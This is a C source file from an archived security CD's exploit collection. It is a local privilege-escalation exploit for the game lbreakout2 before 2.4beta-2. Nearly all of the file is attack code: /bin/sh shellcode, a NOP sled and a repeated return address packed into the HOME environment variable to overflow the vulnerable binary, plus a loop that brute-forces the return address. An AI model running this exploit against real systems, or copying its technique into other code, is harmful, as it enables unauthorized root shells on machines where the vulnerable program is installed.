home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / lbreakout2-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  182 lines

  1. /* 
  2.  * lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
  3.  * vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>
  4.  * usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
  5.  *
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <sys/wait.h>
  12. #include <sys/types.h>
  13. #include <errno.h>
  14.  
  15. #define BSIZE 200
  16. #define D_START 0xbfffffff
  17. #define PATH "/usr/local/bin/lbreakout2"
  18.  
  19. void exec_vuln();
  20. int tease();
  21. int make_string(long ret_addr);
  22. int bruteforce(long start);
  23. void banner(char *argv);
  24.  
  25. char shellcode[]=
  26.       "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  27.       "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  28.  
  29. char *buffer,*ptr;
  30.  
  31. int 
  32. main(int argc,char *argv[])
  33. {
  34.       char * option_list = "br:s:";
  35.       int option,brute = 0,opterr = 0;
  36.       long ret,start = D_START;
  37.  
  38.       if (argc < 2) banner(argv[0]);
  39.  
  40.       while((option = getopt(argc,argv,option_list)) != -1)
  41.           switch(option)
  42.           {
  43.               case 'b':
  44.                   brute = 1;
  45.                   break;
  46.               case 'r':
  47.                   ret = strtoul(optarg,NULL,0);
  48.                   make_string(ret);
  49.                   tease();
  50.                   exit(1);
  51.                   break;
  52.               case 's':
  53.                   start = strtoul(optarg,NULL,0);
  54.                   break;
  55.               case '?':
  56.                   fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
  57.                   banner(argv[0]);
  58.                   exit(1);
  59.           }
  60.  
  61.       if(brute) 
  62.           bruteforce(start);
  63.  
  64.       return 0;
  65. }
  66.  
  67. void 
  68. exec_vuln()
  69. {
  70.       execl(PATH,PATH,NULL);
  71. }
  72.  
  73. int 
  74. tease()
  75. {
  76.       pid_t pid;
  77.       pid_t wpid;
  78.       int status;
  79.  
  80.       pid = fork();
  81.  
  82.       if (pid == -1)
  83.       {
  84.           fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
  85.           exit(13);
  86.       } 
  87.       else if (pid == 0)
  88.       {
  89.           exec_vuln();
  90.       } 
  91.       else  
  92.       {
  93.           wpid = wait(&status);
  94.           if (wpid == -1)
  95.           {
  96.               fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
  97.               return 1;
  98.           } 
  99.           else if (wpid != pid)
  100.               abort();
  101.           else 
  102.           {
  103.               if (WIFEXITED(status))
  104.               {
  105.                   fprintf(stdout,"[+] Exited: shell's ret code = %d\n",WEXITSTATUS(status));
  106.                   return WEXITSTATUS(status);
  107.               } 
  108.               else if (WIFSIGNALED(status))
  109.                   return WTERMSIG(status);  
  110.               else 
  111.                   fprintf(stderr,"[-] Stopped.\n");
  112.           }
  113.       }
  114.       return 1;
  115. }
  116.  
  117. int 
  118. make_string(long ret_addr)
  119. {
  120.       int i;
  121.       long ret,addr,*addr_ptr;    
  122.       
  123.       buffer = (char *)malloc(1024);
  124.       if(!buffer)
  125.       {
  126.           fprintf(stderr,"[-] Can't allocate memory\n");
  127.           exit(-1);
  128.       }
  129.  
  130.       ret = ret_addr;
  131.  
  132.       ptr = buffer;
  133.  
  134.       memset(ptr,0x90,BSIZE-strlen(shellcode));
  135.       ptr += BSIZE-strlen(shellcode);
  136.  
  137.       memcpy(ptr,shellcode,strlen(shellcode));
  138.       ptr += strlen(shellcode);
  139.  
  140.       addr_ptr = (long *)ptr;
  141.       for(i=0;i<200;i++)
  142.           *(addr_ptr++) = ret;
  143.       ptr = (char *)addr_ptr;
  144.       *ptr = 0;
  145.   
  146.       setenv("HOME",buffer,1);
  147.       return 0;
  148. }
  149.  
  150. int 
  151. bruteforce(long start)
  152. {
  153.       int ret;
  154.       long i;
  155.  
  156.       fprintf(stdout,"[+] Starting bruteforcing...\n");
  157.  
  158.       for(i=start;i<0;i=i-50) 
  159.       {
  160.           fprintf(stdout,"[+] Testing 0x%x...\n",i);
  161.           make_string(i);
  162.           ret=tease();
  163.           if(ret==0)
  164.           {
  165.               fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
  166.               break;
  167.           }
  168.       }
  169.       
  170.       return 0;
  171. }
  172.  
  173. void 
  174. banner(char *argv)
  175. {
  176.       fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr\n");
  177.       fprintf(stderr,"vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se>\n");
  178.       fprintf(stderr,"usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n",argv);
  179.       exit(1);
  180. }
  181.  
  182.